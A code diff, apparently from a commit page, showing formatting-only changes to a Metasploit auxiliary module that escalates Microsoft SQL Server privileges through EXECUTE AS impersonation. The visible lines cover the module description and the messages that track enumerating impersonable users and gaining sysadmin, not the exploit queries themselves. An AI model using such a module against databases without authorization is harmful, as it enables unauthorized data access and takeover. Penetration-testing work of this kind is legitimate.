@@ -12,15 +12,15 @@ class Metasploit3 < Msf::Auxiliary
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS' ,
16
- 'Description' => %q{
17
- This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user.
18
- In most cases this results in additional data access, but in some cases it can be used to gain sysadmin
19
- privileges.
15
+ 'Name' => 'Microsoft SQL Server - Escalate EXECUTE AS' ,
16
+ 'Description' => %q{
17
+ This module can be used escalate privileges if the IMPERSONATION privilege has been
18
+ assigned to the user. In most cases this results in additional data access, but in
19
+ some cases it can be used to gain sysadmin privileges.
20
20
} ,
21
- 'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ] ,
22
- 'License' => MSF_LICENSE ,
23
- 'References' => [ [ 'URL' , 'http://msdn.microsoft.com/en-us/library/ms178640.aspx' ] ]
21
+ 'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ] ,
22
+ 'License' => MSF_LICENSE ,
23
+ 'References' => [ [ 'URL' , 'http://msdn.microsoft.com/en-us/library/ms178640.aspx' ] ]
24
24
) )
25
25
end
26
26
@@ -52,7 +52,7 @@ def run
52
52
print_status ( "Enumerating a list of users that can be impersonated..." )
53
53
imp_user_list = check_imp_users
54
54
if imp_user_list . nil? || imp_user_list . length == 0
55
- print_error ( 'Sorry, the current user doesnt have permissions to impersonate anyone.' )
55
+ print_error ( 'Sorry, the current user doesn\'t have permissions to impersonate anyone.' )
56
56
disconnect
57
57
return
58
58
else
@@ -67,7 +67,7 @@ def run
67
67
print_status ( 'Checking if any of them are sysadmins...' )
68
68
imp_user_sysadmin = check_imp_sysadmin ( imp_user_list )
69
69
if imp_user_sysadmin . nil?
70
- print_error ( " Sorry, none of the users that can be impersonated are sysadmins." )
70
+ print_error ( ' Sorry, none of the users that can be impersonated are sysadmins.' )
71
71
disconnect
72
72
return
73
73
end
@@ -81,10 +81,10 @@ def run
81
81
if user_status == 1
82
82
print_good ( "Congrats, #{ datastore [ 'USERNAME' ] } is now a sysadmin!." )
83
83
else
84
- print_error ( " Fail buckets, something went wrong." )
84
+ print_error ( ' Fail buckets, something went wrong.' )
85
85
end
86
86
else
87
- print_error ( " Error while trying to escalate privileges." )
87
+ print_error ( ' Error while trying to escalate privileges.' )
88
88
end
89
89
90
90
disconnect
0 commit comments